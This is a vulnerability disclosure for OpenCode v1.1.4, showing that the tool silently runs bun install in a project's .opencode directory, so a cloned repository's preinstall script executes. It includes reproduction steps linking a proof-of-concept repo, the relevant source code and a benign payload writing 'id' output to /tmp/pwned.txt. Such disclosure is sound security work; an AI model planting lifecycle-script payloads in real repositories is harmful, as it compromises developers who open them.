OpenCode Lifecycle Script RCE

OpenCode automatically runs bun install in any .opencode directory found in the current project at startup. This executes preinstall/postinstall scripts defined in .opencode/package.json without user confirmation.

A victim who clones a malicious repository and runs opencode to explore the codebase gets compromised immediately.

Trigger

git clone https://github.com/xpcmdshell/opencode-lifecycle-rce.git
cd opencode-lifecycle-rce
opencode
cat /tmp/pwned.txt

Root Cause

In packages/opencode/src/config/config.ts, OpenCode scans for .opencode directories and calls installDependencies() on each:

const directories = [
  Global.Path.config,
  ...(await Array.fromAsync(
    Filesystem.up({
      targets: [".opencode"],
      start: Instance.directory,
      stop: Instance.worktree,
    }),
  )),
  // ...
]

for (const dir of unique(directories)) {
  // ...
  const installing = installDependencies(dir)
  if (!exists) await installing
  // ...
}

The installDependencies() function runs bun install in that directory:

export async function installDependencies(dir: string) {
  const pkg = path.join(dir, "package.json")

  if (!(await Bun.file(pkg).exists())) {
    await Bun.write(pkg, "{}")
  }
  // ...

  // Install any additional dependencies defined in the package.json
  // This allows local plugins and custom tools to use external packages
  await BunProc.run(["install"], { cwd: dir }).catch(() => {})
}

If an attacker provides a .opencode/package.json with lifecycle scripts, they execute automatically:

{"scripts":{"preinstall":"id > /tmp/pwned.txt"}}

Vulnerable Versions

Tested on opencode v1.1.4.